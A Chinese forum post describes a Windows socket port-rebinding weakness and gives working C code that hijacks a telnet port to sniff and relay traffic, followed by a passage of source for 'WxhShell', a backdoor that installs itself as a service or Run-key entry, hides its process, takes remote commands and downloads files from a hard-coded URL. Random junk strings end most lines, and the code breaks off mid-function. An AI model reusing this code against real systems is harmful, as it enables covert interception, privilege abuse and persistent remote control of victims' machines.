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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V<0J j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d1hXzJs  
M =6  
  saddr.sin_family = AF_INET; 6d%)MEM  
W kSv@Y,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eN-lz_..7  
S\W&{+3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c*Q6k<SKR  
$S2kc$'F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GdtR  /1  
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  这意味着什么?意味着可以进行如下的攻击: f$]ttU U  
5gbD|^ij  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0;:AT|U/d  
u\P)x~-TM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;BjJ<?^{  
A]AM|2 D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &T[BS;  
$Y<(~E$FX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HFTDea+#  
TDY =!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '^~3 8=FA  
m_,j)A%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9<6Hs3|.!  
^=Egf?|[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  :IX_}|  
 cvO;xR  
  #include SCKpW#2dP{  
  #include hsHtLH+@  
  #include n8 e4`-cY  
  #include    jW0aIS2O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YV"LM6`  
  int main() ">rt *?^  
  { Cswa5 l`af  
  WORD wVersionRequested; hSfLNvK  
  DWORD ret; C^!ej"  
  WSADATA wsaData; E K#ib  
  BOOL val; eVB.g@%T  
  SOCKADDR_IN saddr; kH>^3( Q\  
  SOCKADDR_IN scaddr; +d/^0^(D\5  
  int err; \X0wr%I  
  SOCKET s; b%M|R%)]  
  SOCKET sc; <]kifiN#  
  int caddsize; ?8aPd"x  
  HANDLE mt; jG~UyzWH;  
  DWORD tid;   2mVLR;s{_  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ZXAW~a}  
  err = WSAStartup( wVersionRequested, &wsaData ); C! J6"j  
  if ( err != 0 ) { ~n`G>Oe3  
  printf("error!WSAStartup failed!\n"); u@$pOLI  
  return -1; )0xEI  
  } aIABx!83>  
  saddr.sin_family = AF_INET; NZ?|#5 3  
   "Go)t + -  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SWM6+i p  
]#Q'~X W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FAP1Bm  
  saddr.sin_port = htons(23); MtIhpTX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZeP3 Yjr3  
  { }t9A#GOz  
  printf("error!socket failed!\n"); 9G=ZB^  
  return -1; ky98Bz%  
  } {;j@-=pV  
  val = TRUE; _=68iDXm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PmT,*C`/X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ufWd) Q  
  { }%I)bU  
  printf("error!setsockopt failed!\n"); 9\[A%jp#K@  
  return -1;  gC}D0l[  
  } um$K^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Afq?Ps+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~\D H[Mt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gw`}eA$  
4<QS ot  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lg!{?xM  
  { Pw_[{LL  
  ret=GetLastError(); F Wzf8*^  
  printf("error!bind failed!\n"); C/je5  
  return -1; ~'2im[f J  
  } Nd.Tda!Kg  
  listen(s,2); *^5..0du  
  while(1)  %Jc>joU  
  { hr] :bR  
  caddsize = sizeof(scaddr); + s snCr  
  //接受连接请求 +: oD?h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ljo^ 2  
  if(sc!=INVALID_SOCKET) 2eh j2T  
  { HJ,sZ4*]]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $S0eERg a  
  if(mt==NULL) ooPH [p  
  { $6]7>:8mz  
  printf("Thread Creat Failed!\n"); N}2xt)JZz  
  break; Z2dy|e(c  
  } RU^lR8;  
  } [F< Tl =  
  CloseHandle(mt); c(<,qWH  
  } HN*w(bROr  
  closesocket(s); -j 6U{l  
  WSACleanup(); )!``P?3?  
  return 0; &]2z)&a  
  }   C^x+'. ^N  
  DWORD WINAPI ClientThread(LPVOID lpParam) g)Byd\DS  
  { +T@a/(Gl  
  SOCKET ss = (SOCKET)lpParam; Z 7M%}V%  
  SOCKET sc; gB?~!J?  
  unsigned char buf[4096]; ~CB6+t>  
  SOCKADDR_IN saddr; ToHCS/J59  
  long num; d#9"_{P  
  DWORD val; y`EcBf  
  DWORD ret; Gv,0{DVX<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fuxBoB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "A_W U|  
  saddr.sin_family = AF_INET; >cPB:kD'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Sr`gQ#b@r}  
  saddr.sin_port = htons(23); ;=.QT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D~xU r )E  
  { * QF3l0&  
  printf("error!socket failed!\n"); <k^P>Irb3t  
  return -1; $MmCh&V  
  } [[PUK{P0  
  val = 100; Eqg(U0k0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @:~O  
  { f*g>~!  
  ret = GetLastError(); t?0D*!D  
  return -1; 2>l:: 8Pp  
  } !$>d75zli  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2dr[0tE  
  { y/m^G=Q6g#  
  ret = GetLastError();  |Aw(v6  
  return -1; Hize m!  
  } 7FVu [Qu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^#R-_I  
  { n NI V(  
  printf("error!socket connect failed!\n"); _ID2yJ   
  closesocket(sc); 4><b3r;T'  
  closesocket(ss); )CzWq}:  
  return -1; In0kP"  
  } *a@pZI0'  
  while(1) .Jz$)R  
  { "9 -duDg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y'n TyH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 byv(:xk|'e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HlB'yOHv!  
  num = recv(ss,buf,4096,0); D4m2*%M  
  if(num>0) X?b]5?K;r  
  send(sc,buf,num,0); & CiUU  
  else if(num==0) Hm+-gI3*  
  break; SPIYB/C  
  num = recv(sc,buf,4096,0); <=V2~ asB  
  if(num>0) KLXv?4!  
  send(ss,buf,num,0); l{4=La{?j  
  else if(num==0) ^)b*"o  
  break; !+.|T9P  
  } Oah}7!a)  
  closesocket(ss); S zOB{  
  closesocket(sc); :rb<mg[  
  return 0 ; P sD+?  
  } )@3ce'  
_VR Sdr5  
!GMb~  
========================================================== n]x4twZ  
JBa=R^k  
下边附上一个代码,,WXhSHELL YizJT0$  
I<.3"F1}  
========================================================== ,{7wvXP  
&{* [7Ad  
#include "stdafx.h" }Xs=x6Mj  
j?6%=KuX<  
#include <stdio.h> v'.?:S&m  
#include <string.h> $.(>Sj1  
#include <windows.h> f3-=?Z  
#include <winsock2.h> #GK&{)$  
#include <winsvc.h> f& (u[W  
#include <urlmon.h> ;tI=xNre`1  
FpfOxF6A3  
#pragma comment (lib, "Ws2_32.lib") !xMyk>%2  
#pragma comment (lib, "urlmon.lib") I?"cEp   
_{,e-_hYM  
#define MAX_USER   100 // 最大客户端连接数 _"J-P={=  
#define BUF_SOCK   200 // sock buffer fL"-K  
#define KEY_BUFF   255 // 输入 buffer &:8a[C2=  
6@!<' l%z  
#define REBOOT     0   // 重启 3bpbk  
#define SHUTDOWN   1   // 关机 #HB]qa  
!l_ 1r$  
#define DEF_PORT   5000 // 监听端口 A75IG4]  
Y-n* K'  
#define REG_LEN     16   // 注册表键长度 PF@<>NO+W  
#define SVC_LEN     80   // NT服务名长度 lcvWx%/o@  
l{aXX[E&1  
// 从dll定义API ;,Sl+)@h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (I,PC*:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }MrR svN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S'V0c%'QQV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TH)gW  
Yv9(8  
// wxhshell配置信息 1d|+7  
struct WSCFG { 1I KDp]SN  
  int ws_port;         // 监听端口 (ui"vLk8PP  
  char ws_passstr[REG_LEN]; // 口令 bWwc2##7jo  
  int ws_autoins;       // 安装标记, 1=yes 0=no " 9 h]P^  
  char ws_regname[REG_LEN]; // 注册表键名 eqs.zL  
  char ws_svcname[REG_LEN]; // 服务名 9<P1?Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !3$Ph  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k5=0L_xc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,;H)CUe1"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qbHb24I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KCDEMs}}zM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ar=uDb;  
N(]6pG=  
}; LwkZ(Tt  
I 8`@Srw8  
// default Wxhshell configuration MH`f!%c  
struct WSCFG wscfg={DEF_PORT, @xB"9s  
    "xuhuanlingzhe", {?l#*XH;  
    1, ` *8p T  
    "Wxhshell", V;~W,o!  
    "Wxhshell", =wPl;SDf!  
            "WxhShell Service", cW26TtU(  
    "Wrsky Windows CmdShell Service", D +N{'d?+  
    "Please Input Your Password: ", lEAN Nu  
  1, >Rjk d>K3  
  "http://www.wrsky.com/wxhshell.exe", O@'/B" &  
  "Wxhshell.exe" CG@ LYN  
    }; e[yk'E  
L=VJl[DL  
// 消息定义模块 M2[;b+W9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wvcG <sj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; @-7'%(C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8"LvkN/v^  
char *msg_ws_ext="\n\rExit."; :u`  
char *msg_ws_end="\n\rQuit."; $dgY#ST%  
char *msg_ws_boot="\n\rReboot..."; R.!'&<Svq  
char *msg_ws_poff="\n\rShutdown..."; -j`tBv)  
char *msg_ws_down="\n\rSave to "; 5"c#O U  
7$a,pNDw  
char *msg_ws_err="\n\rErr!"; 65\'(99y U  
char *msg_ws_ok="\n\rOK!"; *rK}Ai  
w8kp6_i'  
char ExeFile[MAX_PATH]; 7\rz*  
int nUser = 0; 7*M+bZ`x  
HANDLE handles[MAX_USER]; ckBcwIXlP&  
int OsIsNt; 8U*}D~%!  
siZw-.  
SERVICE_STATUS       serviceStatus; X.}:gU-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -k|r#^(G2  
k!>MZ  
// 函数声明 tVvRT*>Wb  
int Install(void); g599Lc&  
int Uninstall(void); ,sn ?V~)  
int DownloadFile(char *sURL, SOCKET wsh); BEx? bf@|]  
int Boot(int flag); dG'aJQw  
void HideProc(void); weU'3nNN  
int GetOsVer(void); A|I7R -  
int Wxhshell(SOCKET wsl); T'  %TMA  
void TalkWithClient(void *cs); mMS%O]m,|  
int CmdShell(SOCKET sock); c-z ,}`  
int StartFromService(void); 81O`#DfZ  
int StartWxhshell(LPSTR lpCmdLine); 5yI_uQR  
=[FNZ:3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 200/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kKr7c4q  
y>3Zh5=  
// 数据结构和表定义 3u^U\xB  
SERVICE_TABLE_ENTRY DispatchTable[] = yJ c#y   
{ 5(^&0c>P  
{wscfg.ws_svcname, NTServiceMain}, (Gp/^[.%&  
{NULL, NULL} TIbiw  
}; t4/d1qW0  
X&8&NkH  
// 自我安装 -Id4P _y  
int Install(void) y$Sn3_9 V  
{ 3~ ;LNi  
  char svExeFile[MAX_PATH]; -uIu-a]  
  HKEY key; 3'}(:X(  
  strcpy(svExeFile,ExeFile); "9jt2@<  
b lP@Cn2  
// 如果是win9x系统,修改注册表设为自启动 |,c QJ  
if(!OsIsNt) { n#Q;b Sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wl/oun~o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7+0Kg'^+n  
  RegCloseKey(key); c3W9"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y4PR&^l?g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'c*Q/C;  
  RegCloseKey(key); +3dWnBg?  
  return 0; qT$;ZV #  
    } Aw~ =U!  
  } ?n)d: )Ud"  
} (/UW}$] h  
else { Hm!ffqO_  
:hr% 6K7  
// 如果是NT以上系统,安装为系统服务 `w` f[dU-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1@rI4U@D  
if (schSCManager!=0) v;AsV`g  
{ 0+L:+S  
  SC_HANDLE schService = CreateService hO w  
  ( S.pL^Ru  
  schSCManager, Q1yMI8  
  wscfg.ws_svcname, AE?MEag  
  wscfg.ws_svcdisp, _y*@Hj  
  SERVICE_ALL_ACCESS, Mrysy)x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %N$,1=0*  
  SERVICE_AUTO_START, D!Pv`wm  
  SERVICE_ERROR_NORMAL, v W=$C  
  svExeFile, HX%lL }E  
  NULL, xl8=y  
  NULL, ]rGZ  
  NULL, 5Iinen3>  
  NULL, N4]QmRX/j  
  NULL Fk=Sx<TX  
  ); qM= $,s*  
  if (schService!=0) y (@j;Q3(r  
  { ySAkj-< /P  
  CloseServiceHandle(schService); %Xc50n2Z  
  CloseServiceHandle(schSCManager); sQUJ]h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3D32'KO_"  
  strcat(svExeFile,wscfg.ws_svcname); NbgK# ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zGzeu)d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dO]N&'P7  
  RegCloseKey(key); 6a6;]lsG  
  return 0; sdN@ZP  
    } cCx@VT`0  
  } +yYxHIOZ(  
  CloseServiceHandle(schSCManager); OH.^m6Z  
} 9 Rl-Jz8g  
} B=14 hY@`  
UdO(9Jc5^  
return 1; \OPJ*/U  
} x-27rGN  
&O8vI ,M  
// 自我卸载 riw0w  
int Uninstall(void) 7q\&  
{ RP[^1  
  HKEY key; qLC_p)  
&! i'Q;q  
if(!OsIsNt) { [bM$n m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,w-=8>5lrj  
  RegDeleteValue(key,wscfg.ws_regname); ^u2unZ9BK!  
  RegCloseKey(key); pRR1k?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~5`p/.L)ZD  
  RegDeleteValue(key,wscfg.ws_regname); vge4&H3a&  
  RegCloseKey(key); 2L!s'^m-  
  return 0; Ao?y2 [sE  
  } QFekj@  
} XBx&&  
} ]hE%Tk-  
else { 5SV w71 *  
c{.y9P6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ByyvRc,v  
if (schSCManager!=0) ?e=3G4N  
{ oF'_x,0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pQ~Y7  
  if (schService!=0) E>LZw>^Y J  
  { qmmQH S  
  if(DeleteService(schService)!=0) { ^.3(o{g  
  CloseServiceHandle(schService); )<ig6b%  
  CloseServiceHandle(schSCManager); U$,-F**  
  return 0; A-"2sp*t  
  } VT ikLuH  
  CloseServiceHandle(schService); ;]gj:6M  
  } +az=EF  
  CloseServiceHandle(schSCManager); z`]sWi F0  
} QC\r|RXW  
} D[jPz0  
\B/!}Tn;  
return 1; PxgJ7d  
} 5@%.wb4  
$'I&u  
// 从指定url下载文件 E_En"r)y  
int DownloadFile(char *sURL, SOCKET wsh) S :8  
{ 70GBf"  
  HRESULT hr; L-}J=n\  
char seps[]= "/"; 5wmd[YL  
char *token; #GLW3}  
char *file; ,% Qh S5e  
char myURL[MAX_PATH]; 'UUj(1 f  
char myFILE[MAX_PATH]; f+Acs*. GQ  
WB?HY?[r  
strcpy(myURL,sURL); (w#t V*  
  token=strtok(myURL,seps); (De{r|  
  while(token!=NULL) /zt M'  
  { j{ YYG|  
    file=token; z4:<?K  
  token=strtok(NULL,seps); vue^bn  
  } * eC[74Kng  
\7i_2|w  
GetCurrentDirectory(MAX_PATH,myFILE); 6_4 B!  
strcat(myFILE, "\\"); 7M~sol[*  
strcat(myFILE, file); Nwz?*~1  
  send(wsh,myFILE,strlen(myFILE),0); -z~!%4 a  
send(wsh,"...",3,0); Ac|\~w[\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iW^J>aKy  
  if(hr==S_OK) dgF%&*Il]O  
return 0; S@qR~_>a  
else } 1e4u{  
return 1; UPU$SZAIx  
VJqk0w+  
} ]vlBYAW'  
R`cP%7K  
// 系统电源模块 o(oOB  
int Boot(int flag) a3<:F2=~\  
{ @2/|rq  
  HANDLE hToken; OIL8'xY.w  
  TOKEN_PRIVILEGES tkp; NDP" @  
[p9v#\G; [  
  if(OsIsNt) { dv>n38&mDQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bO2?DszT5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WN+i3hC  
    tkp.PrivilegeCount = 1; +q}t%K5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8^>c_%e}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lP3|h*  
if(flag==REBOOT) { &7f8\TG|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]alc%(=  
  return 0; t`"m@  
} ]a4U\yr  
else { M_};J;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cdt9hH`Cd  
  return 0; l,7& z  
} p0bWzIH  
  } kun/KY  
  else { &rBe -52  
if(flag==REBOOT) { &.,K@OFE}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]8\I{LR  
  return 0; s2{SbOBis  
} Ev5~= ]  
else { LigB!M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fz=?QEG  
  return 0; {siOa%;*  
} ,r~+ 9i0N  
} >#|%'Us  
eo0-aHs  
return 1; _-TplGSO=c  
} $+'H000x  
T+v*@#iJ_  
// win9x进程隐藏模块 WFOJg&  
void HideProc(void) x,,y}_YX  
{ Io]FDPN  
V.P<>~W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TlS? S+  
  if ( hKernel != NULL ) B-Jd|UE`u  
  { sgp.;h'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E$)|Kv^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WR)=VE   
    FreeLibrary(hKernel); ^)Hf%  
  } Plp.\N%f3  
R@\}iyM  
return;  l(?B0  
} etr-\Cp  
b# N"} -\^  
// 获取操作系统版本 jmID@37t  
int GetOsVer(void) Sf*)Z3f  
{ ]nhh|q9r{  
  OSVERSIONINFO winfo; NUFz'MPv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i)o;,~ee  
  GetVersionEx(&winfo); EL?(D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'QCIKCn<  
  return 1; :5NMgR.d  
  else kh W.  
  return 0; }=^ ,c  
} r%PWv0z_c  
Jj-\Eb?  
// 客户端句柄模块 5?k5J\+  
int Wxhshell(SOCKET wsl) <k:I2LF_  
{ I\. |\^  
  SOCKET wsh; 5naFnm7%  
  struct sockaddr_in client; 1Z# $X`  
  DWORD myID; *,\"}x*  
@V%\Gspv  
  while(nUser<MAX_USER) qT$k%(  
{ :\OSHs<M  
  int nSize=sizeof(client); q-JTGCFl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >|QH I d8  
  if(wsh==INVALID_SOCKET) return 1; OIrm9D #  
RV~fml9c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P}@AH02  
if(handles[nUser]==0) N(&{~*YE  
  closesocket(wsh); f^$,;  
else Hf`i~6  
  nUser++; GJ,&$@8)  
  } 3f7zW3F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =?RI`}vw_H  
 =_dM@j  
  return 0; h Qn?qJy%W  
} <~ smBd  
p;+O/'/j  
// 关闭 socket N[I@}j  
void CloseIt(SOCKET wsh) XN df  
{ 7rjl-FUA~  
closesocket(wsh); ]RCo@QW  
nUser--; GE/!$3  
ExitThread(0); * 65/gG8>  
} d51lTGH7Z  
<Vhd4c  
// 客户端请求句柄 UR sx>yx  
void TalkWithClient(void *cs) *2/Jg'de  
{ *()['c#CC  
g*V.u]U!i  
  SOCKET wsh=(SOCKET)cs; cJ4My#w  
  char pwd[SVC_LEN]; >fBPVu\PA  
  char cmd[KEY_BUFF]; ?@b6(f xX  
char chr[1]; ?:;;0kSk  
int i,j; C >*z^6Gz  
nrl?<4 _  
  while (nUser < MAX_USER) { .WF"vUp  
[b++bCH3  
if(wscfg.ws_passstr) { $J7V]c*-b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \dk1a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YdhTjvx  
  //ZeroMemory(pwd,KEY_BUFF); 51k}LH  
      i=0; P#O" {+`  
  while(i<SVC_LEN) { t<!m4Yd|#  
R]"Zv'M(AM  
  // 设置超时 /@9Q:'P  
  fd_set FdRead; 7 Lm9I  
  struct timeval TimeOut; :5k* kx#y  
  FD_ZERO(&FdRead); q[$>\Nfg>B  
  FD_SET(wsh,&FdRead); ytcLx77`:  
  TimeOut.tv_sec=8; <XeDJ8 '  
  TimeOut.tv_usec=0; N^;lp<{6?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HWjJ.;k}a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^z *0  
!<w6j-S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4$Ai!a  
  pwd=chr[0]; K"!rj.Da  
  if(chr[0]==0xd || chr[0]==0xa) { &f.5:u%{b  
  pwd=0; @@ Q4{o  
  break; zIc6L3w$  
  } DsdM:u*s  
  i++; fQoAdw  
    } V;SfW2`)  
l#0zHBc  
  // 如果是非法用户,关闭 socket v `S5[{6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i /X3k&  
} k \OZ'dS  
xg p)G!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4&*lpl*N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Q10Ohh  
o]? yyP  
while(1) { v^C\ GDH  
3p#UEH3  
  ZeroMemory(cmd,KEY_BUFF); LK h=jB^bT  
ktU:Uq  
      // 自动支持客户端 telnet标准   ) 57'<  
  j=0; x^y$pr  
  while(j<KEY_BUFF) { khX/xL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uz3cho'  
  cmd[j]=chr[0]; 0}i 9`p  
  if(chr[0]==0xa || chr[0]==0xd) { lU1SN/'zx  
  cmd[j]=0; e@hPb$7  
  break; >@N.jw>#T  
  } 1]} \h]*  
  j++; !&U75FpN}:  
    } =-dnniKW4  
30h[&Oc  
  // 下载文件 +k=*AQt^8  
  if(strstr(cmd,"http://")) { ]@U?hD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SqAz((  
  if(DownloadFile(cmd,wsh)) JQ+Mg&&Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48p3m) 5  
  else KDN#CU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L4iWR/&  
  } w hI4@#  
  else { s.z)l$  
B;bP~e>W  
    switch(cmd[0]) { 'M%iS4b{IM  
  }cz58%  
  // 帮助 /IirTmFK  
  case '?': { RY5e%/bg~U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wU%uO/sU9  
    break; Md6u4c  
  } ~criZI/  
  // 安装 l&H-<Z.8m  
  case 'i': { {A}T^q!m]  
    if(Install()) (s'xO~p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o@}~G&HA  
    else rbf5~sw&8+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mpYBMSLM  
    break; L' y0$  
    } " lD -*e4  
  // 卸载 zZ}. 2He8  
  case 'r': { Wi$?k {C  
    if(Uninstall()) QmBHD;Gf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(}Y/'  
    else 9ERdjS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5T/+pC$e=  
    break; XzAXcxC6G  
    } pll5m7[  
  // 显示 wxhshell 所在路径 Z{3=.z{&^=  
  case 'p': { y95  #t  
    char svExeFile[MAX_PATH]; eHx {[J?  
    strcpy(svExeFile,"\n\r");  o]0E  
      strcat(svExeFile,ExeFile); B)k/]vz)*D  
        send(wsh,svExeFile,strlen(svExeFile),0);  !5 S#  
    break; DvWBvs,  
    } _~Lu%   
  // 重启 |f}wOkl  
  case 'b': { `c:r`Oi?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S> Fb'rJ3  
    if(Boot(REBOOT)) IlEU6Rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<+T@"y  
    else { YWPkVvI  
    closesocket(wsh); li3X}  
    ExitThread(0); (fc_V[(m"  
    } UHJro9  
    break; ZV Ko$q:F  
    } ycN!N  
  // 关机 PR;Bxy  
  case 'd': { ''2:ZXX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1sUgjyGQ  
    if(Boot(SHUTDOWN)) zRh)q,Dt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $zz4A~   
    else { `DSDuJw%  
    closesocket(wsh); .==c~>N  
